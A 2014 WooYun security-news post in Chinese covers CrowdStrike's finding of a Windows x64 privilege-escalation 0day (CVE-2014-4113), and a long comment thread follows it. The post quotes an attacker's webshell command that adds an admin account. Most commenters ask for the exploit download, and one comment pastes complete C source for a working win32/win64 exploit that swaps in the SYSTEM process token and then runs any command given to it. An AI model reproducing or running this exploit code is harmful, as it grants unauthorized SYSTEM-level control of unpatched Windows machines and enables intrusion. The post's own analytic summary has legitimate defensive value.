当前位置:WooYun(白帽子技术社区) >> 业界新闻 >> CrowdStrike 发现 Windows x64 提权 0day (CVE-2014-4113)

CrowdStrike 发现 Windows x64 提权 0day (CVE-2014-4113)

瞌睡龙 (drops) | 2014-10-15 12:20

from:CVE-2014-4113

监测程序显示从WEBSHELL使用Win64.exe来提升权限

net localgroup administrators admin /add

HurricanePanda11.png

net 命令已 Local System 权限执行:

HurricanePanda2.png

随后分析Win64.exe二进制发现,它利用了一个0day 提权成SYSTEM用户,然后创建具有这些访问权限的新进程来运行参数中的命令。该文件本身只有55千字节大小,只包含几个功能:

1. 创建一个存储部分,存储一个将被内核调用的函数指针,触发该漏洞。
2. 利用窗口管理器的内存破坏漏洞,模拟用户交互调用回调函数。
3. 把EPROCESS结构中的访问令牌指针替换为系统进程之一。
4. 以SYSTEM权限执行第一个参数中的命令。

下图演示了如何在cmd当中提升权限:

HurricanePanda5.png

该攻击代码写的非常好,成功率为100%。

该win64.exe工具只在需要的时候上传随后立刻删除。

Win64.exe的编译时间是2014年5月3日,该漏洞至少已经利用5个月了。

这个工具还有一个有意思的地方是,内部有一个字符串为“woqunimalegebi”

Bolivian_Alpaca.jpg

该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。

微软已经发布安全公告以及补丁MS14-058

分享到:
  1. 1#
    回复此人 感谢
    郭斯特 (c# php winform) | 2014-10-15 12:21

    沙发?

  2. 2#
    回复此人 感谢
    zeracker (多乌云、多机会!!! 微信公众号:301在路上) | 2014-10-15 12:23

    卧槽

  3. 3#
    回复此人 感谢
    瘦蛟舞 (科普是一种公益行为) | 2014-10-15 12:23

    卧槽,略屌呀

  4. 4#
    回复此人 感谢
    p4ssw0rd (.Y.) | 2014-10-15 12:23

    求大杀器啊

  5. 5#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2014-10-15 12:24

    “woqunimalegebi” 亮了!

  6. 6#
    回复此人 感谢
    F4K3R (多年之后,还记得回首遥望么?还想过回头么?) | 2014-10-15 12:27

    内部有一个字符串为“woqunimalegebi”

  7. 7#
    回复此人 感谢
    老笨蛋 | 2014-10-15 12:31

    “woqunimalegebi” 亮了!

  8. 8#
    回复此人 感谢
    光的圆周率 (等级:二逼白帽子) | 2014-10-15 12:31

    求大杀器啊

  9. 9#
    回复此人 感谢
    depycode (静) | 2014-10-15 12:38

    woqunimalegebi

  10. 10#
    回复此人 感谢
    N1ghtBird | 2014-10-15 12:38

    Bolivian Alpaca aka “Grass Mud Horse”

  11. 11#
    回复此人 感谢
    八云幽紫 | 2014-10-15 12:42

    下载地址何在?

  12. 12# 感谢(1)
    回复此人 感谢
    Vigoss_Z (http://i-security.cc) | 2014-10-15 12:43

    说好的Win64.exe呢,这帮禽兽又不是要补丁的

  13. 13#
    回复此人 感谢
    Azui | 2014-10-15 12:47

    说好的下载地址呢。。

  14. 14#
    回复此人 感谢
    风花雪月 (多喜欢我自己!) | 2014-10-15 12:48

    草  我win7 64位!

  15. 15#
    回复此人 感谢
    马化腾 | 2014-10-15 12:50

    exp下载地址呢?

  16. 16#
    回复此人 感谢
    f0r | 2014-10-15 12:52

    One of the other interesting elements of the tool is an embedded string “woqunimalegebi”, which is a popular Chinese swearword that is also often misspelled when written in Chinese characters in order to evade online censors and can be translated as “Fertile Grass Mud Horse in the Mahler Gobi Desert”

  17. 17#
    回复此人 感谢
    hkAssassin | 2014-10-15 12:53

    地址!!

  18. 18#
    回复此人 感谢
    mango (待我乌币800万 姑娘嫁我可好) | 2014-10-15 12:55

    地址呢!!!

  19. 19#
    回复此人 感谢
    magerx (为什么要去争论。) | 2014-10-15 13:00

    额。。。。。

  20. 20#
    回复此人 感谢
    H1d3r (ﭐٍّHello) ‮(!dlrow‮) | 2014-10-15 13:09

    求地址~~

  21. 21#
    回复此人 感谢
    phantomer (我有一只小毛驴,可我从来也不骑) | 2014-10-15 13:21

    我也来求下载地址。

  22. 22#
    回复此人 感谢
    sky (啪啪啪啪脸好疼是不是?) | 2014-10-15 13:25

    我也来求下载地址。

  23. 23#
    回复此人 感谢
    屎蛋 | 2014-10-15 13:26

    求地址!

  24. 24#
    回复此人 感谢
    xy小雨 (对方不在服务区) | 2014-10-15 13:27

    exp

  25. 25#
    回复此人 感谢
    正好五个字 | 2014-10-15 13:27

    说好的下载地址呢?

  26. 26#
    回复此人 感谢
    小飞侠 | 2014-10-15 13:28

    真厉害~

  27. 27#
    回复此人 感谢
    YY-2012 (#)<alert("dandan")>(#) | 2014-10-15 13:29

    url呢?

  28. 28#
    回复此人 感谢
    FenQing | 2014-10-15 13:29

    说好的下载地址呢

  29. 29#
    回复此人 感谢
    大海象 | 2014-10-15 13:34

    排队求下载地址

  30. 30#
    回复此人 感谢
    cddevils | 2014-10-15 13:41

    球下载地址

  31. 31#
    回复此人 感谢
    Martes (你让我说点啥好) | 2014-10-15 13:43

    求份样本 我不就牛逼

  32. 32#
    回复此人 感谢
    0ps | 2014-10-15 13:43

    我操,这个屌

  33. 33#
    回复此人 感谢
    ghy459 (深挖洞,广积shell。) | 2014-10-15 13:46

    留言求地址

  34. 34#
    回复此人 感谢
    博丽灵梦 (啊 我中枪了) | 2014-10-15 13:46

    不给地址能看?

  35. 35#
    回复此人 感谢
    cnrstar (Be My Personal Best!) | 2014-10-15 13:47

    百度网盘下撒

  36. 36#
    回复此人 感谢
    Mody | 2014-10-15 13:51

    地址呢,wocaonimalegebi

  37. 37#
    回复此人 感谢
    1angxi | 2014-10-15 14:00

    求下载

  38. 38#
    回复此人 感谢
    ◕‿◕ | 2014-10-15 14:00

    早看到了,没有下载地址。。。。。。。。。。。。。

  39. 39#
    回复此人 感谢
    lxa | 2014-10-15 14:07

    这是传说中的草泥马?

  40. 40#
    回复此人 感谢
    九九 ([code]你说我是禽兽,可我连禽兽[/code]) | 2014-10-15 14:13

    这就被发现了 真无趣 还想多用段时间呢

  41. 41#
    回复此人 感谢
    Fireweed | 2014-10-15 14:15

    中国黑客牛逼

  42. 42#
    回复此人 感谢
    0ps | 2014-10-15 14:16

    QQ截图20141015141611.jpg

    这个是重点

  43. 43#
    回复此人 感谢
    园长 (喵~) | 2014-10-15 14:18

    @ wocaonimalegebi

  44. 44#
    回复此人 感谢
    Paddy | 2014-10-15 14:18

    我屮艸芔茻,没地址,说个JB

  45. 45#
    回复此人 感谢
    Elegance | 2014-10-15 14:20

    地址呢?

  46. 46#
    回复此人 感谢
    open (心佛即佛,心魔即魔.) | 2014-10-15 14:22

    牛B

  47. 47#
    回复此人 感谢
    哲璇 (<小学结业生>) | 2014-10-15 14:23

    woqunimalegebi

  48. 48#
    回复此人 感谢
    Cyrils | 2014-10-15 14:36

    @f0r 这原文也是亮瞎

  49. 49#
    回复此人 感谢
    大大灰狼 (rourou男票) | 2014-10-15 14:53

    跪跪跪

  50. 50#
    回复此人 感谢
    暴暴 | 2014-10-15 14:55

    which is a popular Chinese swearword that is also often misspelled when written in Chinese characters in order to evade online censors and can be translated as “Fertile Grass Mud Horse in the Mahler Gobi Desert”

  51. 51#
    回复此人 感谢
    Cr4zy | 2014-10-15 15:00

    哈哈哈哈哈哈 老外翻译太逗

  52. 52#
    回复此人 感谢
    小森森 (学习中……) | 2014-10-15 15:17

    原文中对“woqunimalegebi” 的解释笑喷了

  53. 53#
    回复此人 感谢
    c0lc | 2014-10-15 15:19

    某些SB被人抓到样本了。

  54. 54#
    回复此人 感谢
    0x7575 | 2014-10-15 15:27

    woqunimalegebi 我就知道被抓了   上次提一台服务器  服务器提挂了 艹蛋的 肯定是那次

  55. 55#
    回复此人 感谢
    LaTCue (善养人妻。) | 2014-10-15 15:30

    说好的下载地址呢?

  56. 56#
    回复此人 感谢
    0x7575 | 2014-10-15 15:34

    @c0lc  目测是的 某些SB  我去把那SB叫醒再说

  57. 57#
    回复此人 感谢
    叮咚叮咚 | 2014-10-15 15:48

    地址。。

  58. 58#
    回复此人 感谢
    黑吊丝 (360安全卫士为您保驾护航。) | 2014-10-15 15:49

    点击右侧感谢显示下载地址

  59. 59#
    回复此人 感谢
    乐乐、 | 2014-10-15 15:52

    挺好

  60. 60#
    回复此人 感谢
    Fakehac | 2014-10-15 16:14

    Fertile Grass Mud Horse in the Mahler Gobi Desert    
    难道这是有文化的骂人。。

  61. 61#
    回复此人 感谢
    冰sugar | 2014-10-15 16:29

    国人V5.

  62. 62#
    回复此人 感谢
    ChriSt (噼里啪啦噼里啪啦,啪啪啪啪啪。) | 2014-10-15 16:47

    说好的地址呢?

  63. 63#
    回复此人 感谢
    ztaosony | 2014-10-15 17:02

    地址呢

  64. 64#
    回复此人 感谢
    Neeke | 2014-10-15 17:03

    亮点总是在最后

  65. 65#
    回复此人 感谢
    TYPCN | 2014-10-15 17:15

    该楼层内容感谢后可见

  66. 66#
    回复此人 感谢
    Paddy | 2014-10-15 17:35

    另监控程序是用的啥?哈哈

  67. 67#
    回复此人 感谢
    monster | 2014-10-15 17:41

    @TYPCN 、可耻,差点上当

  68. 68#
    回复此人 感谢
    白熊一枚 | 2014-10-15 20:46

    发图不发种,Fertile Grass Mud Horse in the Mahler Gobi Desert,嗯。。
    我说的是英文作者

  69. 69#
    回复此人 感谢
    zzzzy (我已然别无所求) | 2014-10-15 21:00

    妈的  一台2008 r2老子断断续续提了半年多没提下来,看标题我还以为有exp!!!!

  70. 70#
    回复此人 感谢
    爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2014-10-15 21:15

    ............

  71. 71#
    回复此人 感谢
    雷锋 (做好事,不留名。享年23岁) | 2014-10-15 21:15

    ....

  72. 72#
    回复此人 感谢
    无敌L.t.H (‮……天百一爱恋考高:簿相色白产国) | 2014-10-15 21:29

    分析补丁,自己搞吧。

  73. 73#
    回复此人 感谢
    小城 | 2014-10-15 22:04

    谁这么不小心暴露了,放出来,以后还怎么装逼

  74. 74# 感谢(1)
    回复此人 感谢
    Jn· (小学生一枚,不服你TM别打我.) | 2014-10-15 23:24

    点击右侧感谢显示下载地址

  75. 75#
    回复此人 感谢
    wefgod (求大牛指点) | 2014-10-16 09:26

    难道是中国?求大杀器啊

  76. 76#
    回复此人 感谢
    宝-宝 | 2014-10-16 10:07

    地址呢?

  77. 77#
    回复此人 感谢
    Jacks (https://royalhack.ru) | 2014-10-16 10:20

    你们不是在开玩笑吧? 这东西 至少卖5位数,说下就能下的吗?

  78. 78#
    回复此人 感谢
    B1n4ry (苦逼的生存着。。。) | 2014-10-16 10:41

    谁愿意出5位数?

  79. 79#
    回复此人 感谢
    milkeway | 2014-10-16 14:31

    谁愿意出5位数???????????

  80. 80#
    回复此人 感谢
    1c3z (你不是一个人在战斗) | 2014-10-16 22:06

    Fertile Grass Mud Horse in the Mahler Gobi Desert

  81. 81#
    回复此人 感谢
    Matt | 2014-10-17 04:08

    100就卖

  82. 82#
    回复此人 感谢
    老树 | 2014-10-17 11:17

    说好的地址呢

  83. 83#
    回复此人 感谢
    RainShine (I'm your angel of music.) | 2014-10-17 12:39

    我去你妈勒戈壁...亮了!

  84. 84#
    回复此人 感谢
    RainShine (I'm your angel of music.) | 2014-10-17 12:39

    @zzzzy 来握个爪吧....

  85. 85#
    回复此人 感谢
    zzzzy (我已然别无所求) | 2014-10-17 14:05

    @RainShine  说多了都是泪   我现在已经泪流满面了

  86. 86#
    回复此人 感谢
    GuoKer(ZhuLiu) (基友们,一起钻研吧) | 2014-10-17 23:18

    下载地址呢

  87. 87#
    回复此人 感谢
    lock | 2014-10-19 15:05

    woqunimalegebi  好靓

  88. 88#
    回复此人 感谢
    Asnliang (我是一个搬砖工,我可以准确的告诉你一块红砖的尺寸) | 2014-10-21 11:29

    猴塞雷

  89. 89#
    回复此人 感谢
    醉青丝 | 2014-10-21 14:26

    5月份卖几万的哦~!!!

  90. 90#
    回复此人 感谢
    继续沉默 (哥就是帅) | 2014-10-23 14:06

    喏,下载链接在这里点击下载

  91. 91#
    回复此人 感谢
    Moo (不打脸,还要泡妞呢) | 2014-10-23 18:56

    @瞌睡龙  来分图所示监测程序可否?

  92. 92#
    回复此人 感谢
    chopper | 2014-10-23 19:50

    下载地址呢?

  93. 93#
    回复此人 感谢
    chopper | 2014-10-24 09:42

    @继续沉默 解压密码?

  94. 94#
    回复此人 感谢
    继续沉默 (哥就是帅) | 2014-10-24 15:08

    @chopper wooyun

  95. 95#
    回复此人 感谢
    Marsevil (ฏ๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎ด้้้้้็็) | 2014-10-30 15:05

    成功率勉勉强强

  96. 96#
    回复此人 感谢
    wugui (摄像头已贴标签ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็) | 2014-11-02 22:56

    中国黑客。

  97. 97#
    回复此人 感谢
    Fakehac | 2014-11-03 10:58

    源码http://www.binvul.com/viewthread.php?tid=462&extra=page%3D1

  98. 98#
    回复此人 感谢
    Fakehac | 2014-11-03 14:51

    //
    // Cve-2014-4113 'win32/win64 exp C code' reversed from 'exe exp'
    // By 0x710DDDD
    // 2014-10-31
    // Compiled pass on VS2010
    //

    #include <windows.h>
    #include <stdio.h>

    #pragma comment(lib, "user32.lib")


    /////////////////////////////////////////////////////////////


    typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
      HANDLE Section;
      PVOID  MappedBase;
      PVOID  Base;
      ULONG  Size;
      ULONG  Flags;
      USHORT LoadOrderIndex;
      USHORT InitOrderIndex;
      USHORT LoadCount;
      USHORT PathLength;
      CHAR   ImageName[256];
    } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

    typedef struct _SYSTEM_MODULE_INFORMATION {
      ULONG Count;
      SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
    } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;


    ////////////////////////////////////////////////////////////


    typedef LPVOID PEPROCESS ;
    typedef LONG   (__stdcall *PZWQUERYSYSTENINFORMATION)(DWORD, PVOID, ULONG, PDWORD) ;
    typedef LONG   (__stdcall *PZWALLOCATEVIRTUALMEMORY) (HANDLE, PVOID, ULONG, PULONG,
                                                          ULONG, ULONG) ;
    typedef LONG   (__stdcall *PLOOKUPPROCESSBYID)(HANDLE, PEPROCESS *) ;
    typedef  LPVOID (__stdcall *PTICURRENT)() ;
      

    PZWQUERYSYSTENINFORMATION fpQuerySysInfo       = NULL ;
    PZWALLOCATEVIRTUALMEMORY  fpAllocateVirtualMem = NULL ;
    PLOOKUPPROCESSBYID      fpLookupProcessById  = NULL ;

    DWORD dwTokenOffset = 0 ;
    DWORD gFlag1  = 0 ;
    DWORD gFlag2  = 0 ;
    DWORD gFlag3  = 0 ;

    WNDPROC lpPrevWndFunc   = NULL ;

    DWORD dwCurProcessId    = 0  ;
    DWORD dwSystemProcessId = 0  ;

    //////////////////////////////////////

    void PrintMsg(const char *formatString, ...)
    {
      va_list  va ;
      va_start(va, formatString) ;
      vprintf(formatString, va) ;
      ExitProcess(0);
    }

    #ifdef _WIN64

    DWORD InitTokenOffset()
    {
      DWORD result;  
      OSVERSIONINFO VerInfo;  

      VerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO) ;
      if (!GetVersionExA(&VerInfo))
      {
        printf("FAIL : GetVersion\n") ;
        ExitProcess(0) ;
        }
        
      result = 1;
      if (VerInfo.dwMajorVersion == 5)
      {
        dwTokenOffset = 0x160 ;
        gFlag2 = 1 ;
      }
      else if (VerInfo.dwMajorVersion == 6)
      {
        switch(VerInfo.dwMinorVersion)
        {
          case 0:
          {
            dwTokenOffset = 0x168 ;
            break ;
          }
          default:
          {
            dwTokenOffset = 0x208 ;
          }
        }
      }
      else
      {
        result = 0 ;
      }
      
      if(result == 0)
      {
        printf("FAIL : InitTokenOffset\n") ;
        ExitProcess(0) ;
      }
      
      return result;
    }

    #else

    DWORD InitTokenOffset()
    {
      DWORD result;  
      OSVERSIONINFO VerInfo;  

      VerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO) ;
      if (!GetVersionExA(&VerInfo))
      {
        printf("FAIL : GetVersion\n") ;
        ExitProcess(0) ;
        }
        
      result = 1;
      if (VerInfo.dwMajorVersion == 5)
      {
        switch(VerInfo.dwMinorVersion)
        {
          case 0:
          {
            dwTokenOffset = 0x12C ;
            break ;
          }
          case 1:
          {
            dwTokenOffset = 0x0C8 ;
            break ;
          }
          case 2:
          {
            dwTokenOffset = 0x0D8 ;
            break ;
          }
          default:
          {
            dwTokenOffset = 0x0C8 ;
          }
        }
      }
      else if (VerInfo.dwMajorVersion == 6)
      {
        switch(VerInfo.dwMinorVersion)
        {
          case 0:
          {
            dwTokenOffset = 0x0E0 ;
            break ;
          }
          case 1:
          {
            dwTokenOffset = 0x0F8 ;
            break ;
          }
          default:
          {
            result = 0 ;
          }
        }
      }
      else
      {
        result = 0 ;
      }
      
      if(result == 0)
      {
        printf("FAIL : InitTokenOffset\n") ;
        ExitProcess(0) ;
      }
      
      return result;
    }
    #endif


    HMODULE GetKrnlNtBase(char *szNtName)
    {  
      char  Buffer[0xA]  ;
      DWORD dwRetLength ;
      
      DWORD SystemModuleInfo = 0x0B ;
      if(0xC0000004 != fpQuerySysInfo(SystemModuleInfo, Buffer, 0x0A, &dwRetLength))
      {
        printf("FAILED \n") ;
        ExitProcess(0) ;
      }
      
      PSYSTEM_MODULE_INFORMATION pBuf = (PSYSTEM_MODULE_INFORMATION)LocalAlloc(LMEM_ZEROINIT,
                                                                               dwRetLength) ;
      
      if(0 != fpQuerySysInfo(SystemModuleInfo, pBuf, dwRetLength, &dwRetLength))
      {
        printf("FAILED \n") ;
        ExitProcess(0) ;
      }  

      PSYSTEM_MODULE_INFORMATION_ENTRY pModEntry = pBuf->Module ;
      HMODULE hModuleBase = NULL ;
      
      for(ULONG i = 0 ; i < pBuf->Count ; i++ )
        {
          //ASCII "\SystemRoot\system32\ntkrnlpa.exe"
          if(strstr(pModEntry->ImageName, "nt") && strstr(pModEntry->ImageName, "exe"))
          {
            strcpy_s(szNtName, MAX_PATH, (char*)((ULONG_PTR)pModEntry->ImageName + pModEntry->PathLength)) ;
            ///strncpy(szNtName, (char*)((ULONG_PTR)pModEntry->ImageName + pModEntry->PathLength), MAX_PATH) ;
            hModuleBase = (HMODULE)(pModEntry->Base) ;
            break ;
          }
          pModEntry++ ;
        }

      if(hModuleBase == NULL)
      {
        printf("FAIL : Get Ntoskrnl Base\n") ;
        ExitProcess(0) ;
      }
      
        LocalFree(pBuf);
        return hModuleBase;
    }


    DWORD InitExpVars()
    {
      HMODULE hNtdll ;
      
      hNtdll = LoadLibraryA("ntdll.dll");
      
      if(hNtdll == NULL)
      {
        printf("FAIL : hNtdll == NULL \n") ;
        ExitProcess(0) ;
      }
      
      fpQuerySysInfo = (PZWQUERYSYSTENINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
      fpAllocateVirtualMem = (PZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
      
        if(!fpQuerySysInfo || !fpAllocateVirtualMem)
        {
          printf("FAIL : GetProcAddress ZwQuerySystemInformation or ZwAllocateVirtualMemory\n") ;
          ExitProcess(0) ;
        }
        
      char NtKernelName[MAX_PATH] ;
      
      HMODULE hKrnlNtBase = GetKrnlNtBase(NtKernelName);
      HMODULE hUserNtBase = LoadLibraryA(NtKernelName);

      fpLookupProcessById = (PLOOKUPPROCESSBYID)((ULONG_PTR)GetProcAddress(hUserNtBase, \
                    "PsLookupProcessByProcessId") - \
                  (ULONG_PTR)hUserNtBase + \
                  (ULONG_PTR)hKrnlNtBase ) ;

      dwCurProcessId      = GetCurrentProcessId() ;
      dwSystemProcessId   = 4 ;
      
      FreeLibrary(hUserNtBase);
        
      return 1;
    }


    LPVOID CallPtiCurrent()  
    {
      LPVOID  result = NULL ;
        HMODULE hUser32 = NULL ;
        PVOID   dstFunc ;
        
      hUser32 = LoadLibraryA("user32.dll");

      if(hUser32)
      {
          dstFunc = (PVOID)GetProcAddress(hUser32, "AnimateWindow");
          if(gFlag2) // gFlag2 always zero in win32 exp
          {
            dstFunc = (PVOID)GetProcAddress(hUser32, "CreateSystemThreads");
          }
          if(dstFunc && *(WORD *)hUser32 == 0x5A4D )
          {
            IMAGE_NT_HEADERS *pPEHead = (IMAGE_NT_HEADERS *)((ULONG_PTR)hUser32 + \
                                      *(DWORD*)((ULONG_PTR)hUser32+0x3C)) ;
    #ifdef _WIN64
            ULONG_PTR ImageBase  = pPEHead->OptionalHeader.ImageBase;
            ULONG_PTR ImageBound = pPEHead->OptionalHeader.SizeOfImage + ImageBase;
    #else
            DWORD ImageBase  = pPEHead->OptionalHeader.ImageBase;
            DWORD ImageBound = pPEHead->OptionalHeader.SizeOfImage + ImageBase;
    #endif
            PBYTE p = (PBYTE)dstFunc ;
            
            // search function 'PtiCurrent' address in code segment
            for(DWORD i = 0 ; i < 70 ; i++)
            {
                if((*p == 0xE8 && gFlag2 == 0) || (*p == 0xE9 && gFlag2))
                {
                    if(p < (PBYTE)ImageBase || p > (PBYTE)ImageBound) break ;
                    
                    PTICURRENT fpPtiCurrent ;
                // jmp offset is 4 bytes and can be negative
                    fpPtiCurrent = (PTICURRENT)(*(INT *)(p+1) + (LONG_PTR)p + 5) ;
                    
                    result = fpPtiCurrent() ; // result -> tagTHREADINFO
                    
                    break ;
                }
                p++ ;
            }
          }
        FreeLibrary(hUser32);
      }
      return result ;
    }


    // This is our fake 'WndProc' used to exploit
    LRESULT CALLBACK ShellCode(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
    {
      PEPROCESS pCur, pSys ;
      fpLookupProcessById((HANDLE)dwCurProcessId,    &pCur);
      fpLookupProcessById((HANDLE)dwSystemProcessId, &pSys);
    #ifdef _WIN64
      *(PVOID *)((ULONG_PTR)pCur + dwTokenOffset) = *(PVOID *)((ULONG_PTR)pSys + dwTokenOffset);
    #else
      *(PVOID *)((DWORD)pCur + dwTokenOffset) = *(PVOID *)((DWORD)pSys + dwTokenOffset);
    #endif
      return  0 ;
    }


    DWORD  InitExploitMem(LPVOID *pAllocAddr)  
    {
      LPVOID pThreadInfo = CallPtiCurrent() ;

    #ifdef _WIN64
      *(DWORD*)pAllocAddr = 0xFFFFFFFB ;
    #else
      *(DWORD*)pAllocAddr = 1 ;
    #endif

      ULONG uRegionSize  = 0x2000 ;
      
      LONG iret = fpAllocateVirtualMem(  GetCurrentProcess(),
                           pAllocAddr, 0, &uRegionSize,  
                           MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
                           PAGE_EXECUTE_READWRITE ) ;
      if(iret)
      {
        printf("Allocate Mem Failed \n") ;
        ExitProcess(0) ;
      }

      // fill fake tagWND struct
    #ifdef _WIN64
      *(PVOID *)(0x10000000B) = pThreadInfo ;
      *(BYTE *) (0x100000025) = 4 ;                 // 0x100000025-0xFFFFFFFB=0x2A, bServerSideWindowProc
      *(PVOID *)(0x10000008B) = (PVOID)ShellCode ;  // 0x10000008B-0xFFFFFFFB=0x90, lpfnWndProc
    #else
      *(PVOID*)(0x3)  =  pThreadInfo ;              // 3-(-5)    = 8  
      *(BYTE*) (0x11) = (BYTE)4 ;                   // 17-(-5)   = 0x16, bServerSideWindowProc
      *(PVOID*)(0x5B) = (PVOID)ShellCode ;          // 0x5B-(-5) = 0x60, lpfnWndProc
    #endif  

      return 1;
    }


    LRESULT CALLBACK MyWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
    {
      if(uMsg == WM_ENTERIDLE) // 0x121
      {
        if (gFlag1 != 1)
        {
          gFlag1 = 1;
          PostMessageA(hWnd, WM_KEYDOWN, 0x28, 0) ;  
          PostMessageA(hWnd, WM_KEYDOWN, 0x27, 0) ;
          PostMessageA(hWnd, WM_LBUTTONDOWN, 0x00, 0) ;  
        }  
      }
      return DefWindowProcA(hWnd, uMsg, wParam, lParam) ;
    }


    HMENU InitPopupMenu()
    {
      MENUITEMINFO Item1,  Item2 ;
      HMENU        hMenu1, hMenu2 ;
      
      memset(&Item1, 0, sizeof(Item1));
      memset(&Item2, 0, sizeof(Item2));

      hMenu1 = CreatePopupMenu();
      if(hMenu1 == NULL) return 0 ;
      
      Item1.cbSize = sizeof(Item1) ;
        Item1.fMask  = MIIM_STRING ; // Retrieves or sets the dwTypeData member.
      if(FALSE == InsertMenuItemA(hMenu1, 0, TRUE, &Item1))
      {
        DestroyMenu(hMenu1) ;
         return NULL ;   
      }
      
      hMenu2 = CreatePopupMenu() ;
      if(hMenu2 == NULL) return NULL ;
      
      static char szMenuText[2] = " " ;

      Item2.fMask      = MIIM_STRING | MIIM_SUBMENU ;
      Item2.dwTypeData = szMenuText ;
      Item2.cch        = 1 ;             // length of szMenuText
      Item2.hSubMenu   = hMenu1 ;
      Item2.cbSize     = sizeof(Item2) ;
      
      if(FALSE == InsertMenuItemA(hMenu2, 0, TRUE, &Item2))
      {
        printf("InsertMenuItem FAIL [%d] !\n", GetLastError()) ;
        DestroyMenu(hMenu1) ;
        DestroyMenu(hMenu2) ;
         return NULL  ;   
      }
      return hMenu2 ;
    }


    LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
    {
      if(uMsg != 0x1EB)
      {
        return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam) ;
      }
      EndMenu() ;
      return (DWORD)(-5) ; // DWORD
    }


    LRESULT CALLBACK WndProcHook(int nCode, WPARAM wParam, LPARAM lParam)
    {
      CWPSTRUCT *pWndProcArgs = (CWPSTRUCT*)lParam ;
      
      if(pWndProcArgs->message == 0x1EB) // MN_FINDMENUWINDOWFROMPODWORD
      {
          if(!gFlag3)
          {
          gFlag3 = 1 ;
          if(UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook))
          {
    #ifdef _WIN64
            lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA( pWndProcArgs->hwnd,
                                                        GWLP_WNDPROC,
                                    (LONG_PTR)NewWndProc ) ; // LONG_PTR
    #else

            lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd,
                                                     GWL_WNDPROC,
                                 (LONG)NewWndProc ) ;        // LONG
    #endif
          }
        }
      }
      return CallNextHookEx(NULL, nCode, wParam, lParam);  
    }


    DWORD WINAPI ThreadProc(LPVOID lParam)
    {
      WNDCLASS    wc ;
      SYSTEM_INFO SystemInfo ;
      HWND        hWnd ;
        DWORD       result = 0 ;
        LPVOID     pAllocAddr ;
        
      memset(&SystemInfo, 0, sizeof(SystemInfo));
      memset(&wc, 0, sizeof(wc));
      
      wc.lpfnWndProc   = MyWndProc ;  
      wc.lpszClassName = "woqunimalegebi" ;
      
      GetNativeSystemInfo(&SystemInfo);

    #ifdef _WIN64
      if(SystemInfo.dwOemId == PROCESSOR_ARCHITECTURE_INTEL)
      {
        printf("System Is Not Win64\n") ;
        ExitProcess(0) ;
      }
    #else
      if(SystemInfo.dwOemId == PROCESSOR_ARCHITECTURE_AMD64)
      {
        printf("System Is Not Win32\n") ;
        ExitProcess(0) ;
      }
    #endif


      RegisterClassA(&wc) ;
      hWnd = CreateWindowExA(0, wc.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0) ;
      if(hWnd == NULL) return 0 ;

      InitExploitMem(&pAllocAddr) ;
      
      HMENU hMenu2 = InitPopupMenu();
      
      if(hMenu2)
      {
        DWORD dwThreadId = GetCurrentThreadId();
        if(SetWindowsHookExA(WH_CALLWNDPROC,  WndProcHook, 0, dwThreadId))
        {
          // trigger
    #ifdef _WIN64
          if(TrackPopupMenu(hMenu2, 0, 0xFFFFD8F0, 0xFFFFD8F0, 0, hWnd, 0))
    #else
          if(TrackPopupMenu(hMenu2, 0, -10000, -10000, 0, hWnd, 0))
    #endif
          {
            PostMessageA(hWnd, 0, 0, 0);
            result = 1;
          }
        }   
      }

      DestroyWindow(hWnd) ;
      if (hMenu2)
      {
        DestroyMenu(hMenu2);
      }
      UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook);
      VirtualFree(pAllocAddr, 0, MEM_RELEASE);
      return result;
    }


    DWORD main(DWORD argc, char *argv[])
    {
      InitTokenOffset() ;

      InitExpVars() ;
      
        HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ThreadProc, 0, 0, 0);

      if(WaitForSingleObject(hThread, 300000))
      {
          TerminateThread(hThread, 0);
          PrintMsg("FAIL [%d]\n", GetLastError()) ;
        }  
        
      if(argv[1])
        {
          STARTUPINFO       StartupInfo ;
          PROCESS_INFORMATION ProcessInfo ;
          
        memset(&StartupInfo, 0, sizeof(StartupInfo)) ;
        memset(&ProcessInfo, 0, sizeof(ProcessInfo)) ;
        
        StartupInfo.cb = sizeof(STARTUPINFO) ;
        StartupInfo.wShowWindow = SW_HIDE ;
        StartupInfo.dwFlags     = STARTF_USESHOWWINDOW ;
          CreateProcessA(0, argv[1], 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo) ;
        WaitForSingleObject(ProcessInfo.hProcess, 60000) ;
        CloseHandle(ProcessInfo.hProcess) ;
        CloseHandle(ProcessInfo.hThread) ;
      }
      return 0 ;
    }

  99. 99#
    回复此人 感谢
